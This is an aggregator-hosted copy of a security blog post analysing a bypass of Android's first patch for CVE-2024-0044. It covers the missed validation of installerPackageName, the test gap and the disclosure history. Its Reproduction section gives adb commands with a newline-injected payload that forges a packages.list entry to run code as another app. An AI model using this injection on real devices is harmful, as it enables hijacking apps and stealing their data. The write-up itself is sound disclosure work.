惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

酷 壳 – CoolShell
酷 壳 – CoolShell
H
Hacker News: Front Page
P
Palo Alto Networks Blog
T
ThreatConnect
Apple Machine Learning Research
Apple Machine Learning Research
博客园_首页
T
True Tiger Recordings
P
Privacy & Cybersecurity Law Blog
B
Blog
IT之家
IT之家
Last Week in AI
Last Week in AI
F
Full Disclosure
Hacker News: Ask HN
Hacker News: Ask HN
C
Comments on: Blog
Microsoft Azure Blog
Microsoft Azure Blog
C
Cybersecurity and Infrastructure Security Agency CISA
Microsoft Security Blog
Microsoft Security Blog
博客园 - 【当耐特】
N
News and Events Feed by Topic
NISL@THU
NISL@THU
腾讯CDC
雷峰网
雷峰网
Security Latest
Security Latest
李成银的技术随笔
M
Microsoft Research Blog - Microsoft Research
L
LangChain Blog
L
Lohrmann on Cybersecurity
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
C
Check Point Blog
Y
Y Combinator Blog
Recent Announcements
Recent Announcements
博客园 - Franky
N
News | PayPal Newsroom
V
V2EX
A
About on SuperTechFans
The Register - Security
The Register - Security
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Google Online Security Blog
Google Online Security Blog
MyScale Blog
MyScale Blog
Cisco Talos Blog
Cisco Talos Blog
Vercel News
Vercel News
WordPress大学
WordPress大学
C
Cyber Attacks, Cyber Crime and Cyber Security
The Hacker News
The Hacker News
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
IntelliJ IDEA : IntelliJ IDEA – the Leading IDE for Professional Development in Java and Kotlin | The JetBrains Blog
爱范儿
爱范儿
A
Arctic Wolf
L
LINUX DO - 最新话题
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More

残页的小博客

Android 2026 年每月安全补丁分析索引 - 残页的小博客 频道内容备份 Android Runtime Resources Overlay 加载时序分析 CVE-2024-49721 InputMethodSubtypeArray 反序列化漏洞分析 - 残页的小博客 Android 2025 年每月安全补丁分析索引 - 残页的小博客 Self-changing Data Type - CVE-2024-40676 漏洞分析 Android 平台常见安全漏洞类型 MagiskEoP (CVE-2024-48336): Magisk App Arbitrary Code Execution Vulnerability Android 2023-12 ~ 2024 每月安全补丁分析索引 在故事开始之前的故事:Android 启动过程与 magiskinit 分析 - 残页的小博客 若人生是场大梦啊——记我人生的前19年 写给 Android 开发者的系统基础知识科普 - 残页的小博客 Android Property 实现解析与黑魔法 - 残页的小博客 从电子厂逃离的 17 岁 - 2021 年终总结 检测Magisk与Xposed - 残页的小博客 《空中浩劫》里的法航447 通过系统的native bridge实现注入zygote - 残页的小博客 Android R上的隐藏API限制学习笔记 - 残页的小博客 ART上的动态Java方法hook框架
Reviving an already patched vulnerability for half a year? The second spring of CVE-2024-0044
2024-10-08 · via 残页的小博客

This is a bypass of the initial patch of CVE-2024-0044, a High severity vulnerability in the Android framework that allows attackers with adb access to execute arbitrary code under the UID of arbitrary app.
The following is copied from my repo https://github.com/canyie/CVE-2024-0044 for backup purposes. For more info such as PoC code, please check the original repo.

Basics

CVE-2024-0044/A-307532206 is a High severity vulnerability in the Android framework that allows attackers with adb access to run arbitrary code under the UID of arbitrary app. It was originally found by Tom Hebb from Meta Red Team X. You can found many articles on exploit this vulnerability on the Internet such as this and this. For more info, check this blog: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

The patch for this vulnerability is included in the March 2024 Android Security Bulletin, but now I come up with an exploit that bypasses the patch. The new patch is included in October 2024 Android Security Bulletin under the same CVE ID CVE-2024-0044. Android 12-13 devices with security patch level before 2024-10-01 are vulnerable to this issue.

The repo contains a minimum reproducible PoC and a writeup.

What’s wrong with the original patch?

The patch added a validation for installer package name passed to the PackageManagerService:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644


@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@

// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}

params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);

- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;

if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}

+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+

You can see params.installerPackageName will be reset to null if it is not an legal Android package name. However, at the next line, requestedInstallerPackageName can be installerPackageName when params.installerPackageName is null or invalid.

What is installerPackageName?

Let’s take a look at the createSessionInternal method, where the patch was added to:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}

You can see that installerPackageName is a separate argument that does not come from param. The original patch validated params.installerPackageName, but forgot to validate installerPackageName.

Reproduction

You can just use the original exploit code from Tom Hebb’s blog to reproduce it. This repo also contains a minimum reproducible PoC. If you want to test my PoC, just build it, push the generated apk to /data/local/tmp/poc.apk, then run the following code with adb shell:

1
2
3
4
5
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

replace <victim uid> with the UID of the victim app.

If you want to play the game again, run adb uninstall top.canyie.cve_2024_0044 and re-run the code above.

How it happened twice?

The issue looks obvious, how did it escape everyone’s sight?

Well, Google did add a test for this issue to ensure it is fixed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);

final List<String> vulnerableFields = new ArrayList<String>();
runWithShellPermissionIdentity(
() -> {


final PackageInstaller packageInstaller =
context.getPackageManager().getPackageInstaller();
final int sessionId = packageInstaller.createSession(params);
final String vulnerableAppPackageName =
packageInstaller.getSessionInfo(sessionId).getAppPackageName();
final String vulnerableInstallerPackageName =
packageInstaller
.getSessionInfo(sessionId)
.getInstallerPackageName();
packageInstaller.abandonSession(sessionId);



if (vulnerableAppPackageName != null
&& vulnerableAppPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.appPackageName'");
}
if (vulnerableInstallerPackageName != null
&& vulnerableInstallerPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.installerPackageName'");
}
});

String errorMessage =
"Device is vulnerable to b/307532206 !!"
+ " packages.list newline injection allows"
+ " run-as as any app from ADB"
+ " Due to : Fix is not present for ";
assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
.that(vulnerableFields)
.isEmpty();

The test uses the public standard PackageInstaller API which does not allow customizing installerPackageName. In the public API, installerPackageName is always set to the real package name of provided Context:

1
2
3
4
5
6
7
8
9
10
11
public int createSession(@NonNull SessionParams params) throws IOException {
try {
return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
mUserId);
} catch (RuntimeException e) {
ExceptionUtils.maybeUnwrapIOException(e);
throw e;
} catch (RemoteException e) {
throw e.rethrowFromSystemServer();
}
}

When the caller is a 3rd-party app, installerPackageName is guaranteed to belong to the caller; when the caller is adb, it will always be reset to null, so this seems fine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
String requestedInstallerPackageName =
params.installerPackageName != null ? params.installerPackageName
: installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;


installerPackageName = null;
} else {
if (callingUid != Process.SYSTEM_UID) {

mAppOps.checkPackage(callingUid, installerPackageName);
}


if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
!= PackageManager.PERMISSION_GRANTED) {
mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
}
}
}

However, the operation occurs after requestedInstallerPackageName is set to installerPackageName, so the original value is kept.

But if they run the original PoC provided by Tom Hebb instead of writing their own, they can catch the problem as the pm command calls the underlying createSession method with customized installerPackageName.

One more question, why the problem isn’t caught by someone else while the PoC is publicly accessible?

Well, this vulnerability has been analyzed, reproduced and exploited by many people on the Internet, and there is an article written by Qidan He (flanker) of JD Dawn Security Lab (this is a very interesting article about CVE-2024-31317 btw) that says “其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp” (“CVE-2024-0044 has been widely analyzed and publicly exploited in the technical community because it is simple and direct”), however no one noticed it as if every one were under a spell.

In fact, someone has successfully reproduced the exploit on patched builds, but the author doesn’t seem to realize what happened. I found it by a code review and reported it on May 16, 2024, 2 months after the original patch was released. If anyone before me would have taken a few extra seconds to carefully look at the patch, or just try running the PoC on patched builds to see whether the issue is actually fixed, the bug bounty would have been theirs. This sounds like a Chinese lyric, “再多看一眼就会爆炸”(”One more look and it will explode”).


博客内容遵循 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 协议

本文永久链接是:https://blog.canyie.top/2024/10/08/CVE-2024-0044/